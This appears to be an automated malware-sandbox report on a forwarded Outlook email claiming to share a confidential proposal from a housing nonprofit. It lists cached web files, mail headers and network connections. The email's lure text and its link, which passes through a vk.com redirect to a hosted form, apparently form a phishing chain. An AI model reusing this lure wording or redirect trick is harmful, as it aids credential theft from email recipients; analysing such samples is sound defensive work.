SSDEEP:	12:s8JmYM8//qvSozV/I/HV8oi2pV/I/HdQeNmYJh6BAdexMAdb:RHr/iv5F3opvSNHEAdexbb
MD5:	11962D2E69B4F3EE00660EAA9EDFC5EE
SHA1:	D2F70FF1E1AA285553600D7FF5A73C5D93FBDDEB
SHA-256:	039592B04EA1B1DA4C30D3C7EDB1A24266A4022A9382707616668A9B46D67D5E
SHA-512:	F3EC529D7868F3CE32AA7CEF11DE5FEECBE9BFC5B506E971B10C82F2A9EEB0599C7D72B07E88B67F2CB47851230F1503364A5D1E279D80B7A296AB0A5CC6DEF9
Malicious:	false
URL:	https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636
Preview:	<div. data-form-id='beb26e16-c500-ef11-a1fd-6045bdd3b636'. data-form-api-url='https://public-usa.mkt.dynamics.com/api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms'. data-cached-form-url='https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636' ></div>. <script src = 'https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/FormLoader.bundle.js' ></script>

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://mailvlk.com/boot/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d5
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://mailvlk.com/jq/8abb7bfd970b4f43108624cbc2c64b5066290cc184dba
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
URL:	https://mailvlk.com/ASSETS/img/sig-op.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 94 x 73, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.9821736799861016
Encrypted:	false
SSDEEP:	3:yionv//thPlz2tnteGj/txl/k4E08up:6v/lhP4tte0/t7Tp
MD5:	A1FE31D973A627959251CD371317A225
SHA1:	C09D17A3F348D468EAE1AE6BD45BC8D24EB23FB7
SHA-256:	2106A4EC8E043D84F3664AD2001275C2CC6934A7B7293C7035F5F8B420D6C06D
SHA-512:	3BA424F8D14423BED095A0F6D94734F407CF1B63B0C2F73ADE5619F683D22AA8904408C102E1A7A42A4127C2CCA68FCBFA99B322DB1125D3AB2FA483FDCDA813
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/879685459c6269e3/1713966190447/vp3T4ue4sM7hYw8
Preview:	.PNG........IHDR...^...I.....;c......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42414)
Category:	downloaded
Size (bytes):	42415
Entropy (8bit):	5.374174676958316
Encrypted:	false
SSDEEP:	768:JC9//LuIHdpbSt3JoVMjX1y48S7d1dxoqmNdKyBVnPNAZASyXY1eO4mH19B59:OuIHdpbSt3vFy4X4PNdN+9
MD5:	F94A2211CE789A95A7C67E8C660D63E8
SHA1:	F1FC19B6BCB96D0A905BF3192AAFF0885FF9F36F
SHA-256:	926DC3302F99EC05E4206E965DDEB7250F5910A8C38E82C7BEAFB724BBAAF37B
SHA-512:	EAC0FC89C2D6CCEB9F4C18DFC610DFF8BC194D3994F0C74B3D991F8423C6DADE11D805E76124596521C58AFA9939B45D2D3157F0A48626E12548020FC38364D3
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/471dc2adc340/api.js?onload=ZbqNq8&render=explicit
Preview:	"use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);function m(h){bt(s,o,u,m,b,"next",h)}function b(h){bt(s,o,u,m,b,"throw",h)}m(void 0)})}}function M(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):M(e,r)}function Ie(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function Ve(e){for(var r=1;r<arguments.length;r++){var t=arguments[r]!=null?arguments[r]:{},o=Object.keys(t);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(t).filter(function(u){return Object.getOwnPropertyDescriptor(t,u).enumerable}))),o.forEach(function(u){Ie(e,u,t[u])})}return e}function fr(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://mailvlk.com/x/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78c2
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Static File Info

General

File type:	CDFV2 Microsoft Outlook Message
Entropy (8bit):	5.291539444509348
TrID:	Outlook Message (71009/1) 58.92% Outlook Form Template (41509/1) 34.44% Generic OLE2 / Multistream Compound File (8008/1) 6.64%
File name:	FW_ FHAS Inc_ - Private and Confidential.msg
File size:	169'984 bytes
MD5:	9df7a23ef75002280cab36951693ad81
SHA1:	7933a22276c49b35fef76fc729addbdefb258ce4
SHA256:	137454d482c2b32419da6525c85b121cd68dfe6ada35e8515c773ae3f8992e19
SHA512:	b82bbdb647fff0a120761b40c2c30522c8d17f93464e5c39ef0d40ffa21ad61c6d3eb75382b3e4aa42c73bc67ba52a952db540296b600f27af6c6316ccbd966b
SSDEEP:	1536:T1VNWFWbLaICxFQ5wXwqyxWsxVevVeZcyTUcO/9FI/sKcPd78q+PomWlyOl69PXZ:T1VvLaICxJg3GicOrLS+coDj81n8H
TLSH:	BBF3A7213AFA121AF3779F354BE290978536FD53AE149A5F2191330E0A72A41DC61F3B
File Content Preview:	........................>......................................................................................................................................................................................................................................

Static Mail

General

Subject:	FW: FHAS Inc. - Private and Confidential
From:	Oscar Duran <oscar@mhacb.org>
To:	"landerson@american-pcs.com" <landerson@american-pcs.com>
Cc:
BCC:
Date:	Tue, 23 Apr 2024 22:50:05 +0200
Communications:	From: Sharena Marrs <sharenam@fhasinc.org> Sent: Tuesday, April 23, 2024 1:04 PM To: Sharena Marrs <sharenam@fhasinc.org> Subject: FHAS Inc. - Private and Confidential You don't often get email from sharenam@fhasinc.org <mailto:sharenam@fhasinc.org> . Learn why this is important <https://aka.ms/LearnAboutSenderIdentification> <https://nam10.safelinks.protection.outlook.com/?url=http%3A%2F%2Fvk.com%2Faway.php%3Fto%3Dhttps%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636&data=05%7C02%7Clanderson%40american-pcs.com%7C12a2a023526d4f13ec3008dc63d6fc83%7C48af3ff71bb24e8b9762c9e61a8503a9%7C0%7C0%7C638495022247675574%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=wmZ9CPEGbqFv%2B8gk%2BkjZ7S5r0b%2B7AC1Ezstrt9P7SuM%3D&reserved=0> Hello, Please see enclosed a presentation and proposal from Family Housing Advisory Services for your review. Kindly review and let me know if you have any questions. Thank you! Sharena Marrs, HUD Certified Housing Counselor Tenant Services, Program Director Family Housing Advisory Services, Inc. Over 50 Years Improving housing opportunities and eliminate poverty
Attachments:	image.png image.png Outlook-cid_8b352b.png

Headers

Key	Value
Received	from SN7PR19MB7450.namprd19.prod.outlook.com
20	50:05 +0000
ARC-Seal	i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=none;
ARC-Message-Signature	i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
h=From	Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
ARC-Authentication-Results	i=1; mx.microsoft.com 1; spf=pass
by BY3PR06MB8004.namprd06.prod.outlook.com (2603	10b6:a03:3c3::9) with
2024 20	50:05 +0000
(2603	10b6:806:3c2::10) with Microsoft SMTP Server (version=TLS1_2,
Transport; Tue, 23 Apr 2024 20	50:19 +0000
Authentication-Results	spf=pass (sender IP is 40.107.237.126)
Received-SPF	Pass (protection.outlook.com: domain of mhacb.org designates
15.20.7519.19 via Frontend Transport; Tue, 23 Apr 2024 20	50:18 +0000
DKIM-Signature	v=1; a=rsa-sha256; c=relaxed/relaxed;
by DM4PR19MB6462.namprd19.prod.outlook.com (2603	10b6:8:b5::21) with
([fe80	:174b:a256:8e5a:2f9f%5]) with mapi id 15.20.7472.044; Tue, 23 Apr 2024
From	Oscar Duran <oscar@mhacb.org>
To	"landerson@american-pcs.com" <landerson@american-pcs.com>
Subject	FW: FHAS Inc. - Private and Confidential
Thread-Topic	FHAS Inc. - Private and Confidential
Thread-Index	AQHaladnB9yauye4kEuS3ChYuB7pE7F2VEaA
Date	Tue, 23 Apr 2024 20:50:05 +0000
Message-ID	<SN7PR19MB745038E4E89995601D330806A7112@SN7PR19MB7450.namprd19.prod.outlook.com>
References	<MW4PR17MB47323FAC41D74A8576329B12D9112@MW4PR17MB4732.namprd17.prod.outlook.com>
In-Reply-To	<MW4PR17MB47323FAC41D74A8576329B12D9112@MW4PR17MB4732.namprd17.prod.outlook.com>
Accept-Language	en-US
Content-Language	en-US
X-MS-Has-Attach	yes
X-MS-TNEF-Correlator	msip_labels:
Authentication-Results-Original	dkim=none (message not signed)
x-ms-traffictypediagnostic	SN7PR19MB7450:EE_\|DM4PR19MB6462:EE_\|SN1PEPF0002BA4E:EE_\|BY3PR06MB8004:EE_\|BL0PR06MB4385:EE_
X-MS-Office365-Filtering-Correlation-Id	12a2a023-526d-4f13-ec30-08dc63d6fc83
x-ms-exchange-senderadcheck	1
x-ms-exchange-antispam-relay	0
X-Microsoft-Antispam-Untrusted	BCL:0;
X-Microsoft-Antispam-Message-Info-Original	=?us-ascii?Q?YWbRLX7l5fudXmqsT/iGPzO7byqlqvXhjgt2sye7HthlSPqIo8kgz8+mV7oO?=
X-Forefront-Antispam-Report-Untrusted	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:SN7PR19MB7450.namprd19.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230031)(366007)(1800799015)(376005)(38070700009);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-Original-ChunkCount	1
X-MS-Exchange-AntiSpam-MessageData-Original-0	=?us-ascii?Q?6CfJQVzpQasAg6sNbxmW/j5571PfwMtfQjPYeA4DB9DGGaOBzuIf0Onx1L/U?=
Content-Type	multipart/related;
MIME-Version	1.0
X-MS-Exchange-Transport-CrossTenantHeadersStamped	BY3PR06MB8004
Return-Path	oscar@mhacb.org
X-MS-Exchange-Organization-ExpirationStartTime	23 Apr 2024 20:50:19.0423
X-MS-Exchange-Organization-ExpirationStartTimeReason	OriginalSubmit
X-MS-Exchange-Organization-ExpirationInterval	1:00:00:00.0000000
X-MS-Exchange-Organization-ExpirationIntervalReason	OriginalSubmit
X-MS-Exchange-Organization-Network-Message-Id	12a2a023-526d-4f13-ec30-08dc63d6fc83
X-EOPAttributedMessage	0
X-EOPTenantAttributedMessage	48af3ff7-1bb2-4e8b-9762-c9e61a8503a9:0
X-MS-Exchange-Organization-MessageDirectionality	Incoming
X-MS-Exchange-Transport-CrossTenantHeadersStripped	SN1PEPF0002BA4E.namprd03.prod.outlook.com
X-MS-Exchange-Transport-CrossTenantHeadersPromoted	SN1PEPF0002BA4E.namprd03.prod.outlook.com
X-MS-PublicTrafficType	Email
X-MS-Exchange-Organization-AuthSource	SN1PEPF0002BA4E.namprd03.prod.outlook.com
X-MS-Exchange-Organization-AuthAs	Anonymous
X-MS-Office365-Filtering-Correlation-Id-Prvs	14ef9a18-a58d-4f53-325b-08dc63d6f496
X-MS-Exchange-AtpMessageProperties	SA\|SL
X-MS-Exchange-Organization-SCL	1
X-Microsoft-Antispam	BCL:0;
X-Forefront-Antispam-Report	CIP:40.107.237.126;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:NAM12-BN8-obe.outbound.protection.outlook.com;PTR:mail-bn8nam12on2126.outbound.protection.outlook.com;CAT:NONE;SFS:(13230031)(4073199003)(5063199003)(5000899004)(5073199003)(22003199003);DIR:INB;
X-MS-Exchange-CrossTenant-OriginalArrivalTime	23 Apr 2024 20:50:18.6048
X-MS-Exchange-CrossTenant-Network-Message-Id	12a2a023-526d-4f13-ec30-08dc63d6fc83
X-MS-Exchange-CrossTenant-Id	48af3ff7-1bb2-4e8b-9762-c9e61a8503a9
X-MS-Exchange-CrossTenant-AuthSource	SN1PEPF0002BA4E.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs	Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader	Internet
X-MS-Exchange-Transport-EndToEndLatency	00:00:05.9876527
X-MS-Exchange-Processed-By-BccFoldering	15.20.7472.035
X-Microsoft-Antispam-Mailbox-Delivery	ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(930097)(140003)(1420198);
X-Microsoft-Antispam-Message-Info	=?us-ascii?Q?ZhvQ2xzRp9rRqeTBAUYUGQrloMzAUlHVVpgc74kxNiwE0dN110xY6wFHzcJ6?=
date	Tue, 23 Apr 2024 22:50:05 +0200

File Icon


Icon Hash:	c4e1928eacb280a2

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 15:42:37.814373016 CEST	49691	443	192.168.2.17	204.79.197.200
Apr 24, 2024 15:42:37.973753929 CEST	443	49691	204.79.197.200	192.168.2.17
Apr 24, 2024 15:42:39.520997047 CEST	49706	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:42:39.521074057 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:39.521173954 CEST	49706	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:42:39.521338940 CEST	49706	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:42:39.521367073 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:40.048181057 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:40.048268080 CEST	49706	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:42:40.061064005 CEST	49706	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:42:40.061091900 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:40.061583042 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:40.062061071 CEST	49706	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:42:40.062098026 CEST	49706	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:42:40.062114954 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:40.463352919 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:40.463382006 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:40.463428974 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:40.463495970 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:40.463551044 CEST	49706	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:42:40.463583946 CEST	49706	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:42:40.463850021 CEST	49706	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:42:40.463872910 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:40.463882923 CEST	49706	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:42:40.463887930 CEST	443	49706	20.190.190.195	192.168.2.17
Apr 24, 2024 15:42:44.775404930 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:44.775441885 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:44.775531054 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:44.778363943 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:44.778383017 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:45.372741938 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:45.372811079 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:45.382759094 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:45.382785082 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:45.383788109 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:45.436007977 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:45.765196085 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:45.808119059 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:45.912575960 CEST	49712	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:45.912658930 CEST	443	49712	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:45.912744999 CEST	49712	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:45.913747072 CEST	49712	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:45.913780928 CEST	443	49712	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:45.914170027 CEST	49713	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:45.914248943 CEST	443	49713	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:45.914319992 CEST	49713	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:45.914572954 CEST	49713	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:45.914604902 CEST	443	49713	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:46.150736094 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:46.150796890 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:46.150819063 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:46.150836945 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:46.150882959 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:46.150883913 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:46.150891066 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:46.150914907 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:46.150943041 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:46.150943041 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:46.150969028 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:46.151420116 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:46.151588917 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:46.151613951 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:46.151665926 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:46.163511038 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:46.163511038 CEST	49708	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:42:46.163535118 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:46.163544893 CEST	443	49708	20.114.59.183	192.168.2.17
Apr 24, 2024 15:42:46.584090948 CEST	443	49713	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:46.584400892 CEST	49713	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:46.584467888 CEST	443	49713	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:46.584563017 CEST	443	49712	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:46.584759951 CEST	49712	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:46.584824085 CEST	443	49712	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:46.585391045 CEST	443	49713	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:46.585462093 CEST	49713	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:46.585741997 CEST	443	49712	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:46.585819006 CEST	49712	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:46.586752892 CEST	49713	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:46.586838961 CEST	443	49713	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:46.586934090 CEST	49712	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:46.587011099 CEST	443	49712	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:46.587116957 CEST	49713	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:46.587133884 CEST	443	49713	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:46.641989946 CEST	49712	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:46.642013073 CEST	443	49712	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:46.642062902 CEST	49713	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:46.690006971 CEST	49712	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:47.088545084 CEST	49675	443	192.168.2.17	204.79.197.203
Apr 24, 2024 15:42:47.390007973 CEST	49675	443	192.168.2.17	204.79.197.203
Apr 24, 2024 15:42:47.546506882 CEST	443	49713	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:47.546760082 CEST	443	49713	104.47.70.28	192.168.2.17
Apr 24, 2024 15:42:47.546838045 CEST	49713	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:42:47.548064947 CEST	49713	443	192.168.2.17	104.47.70.28
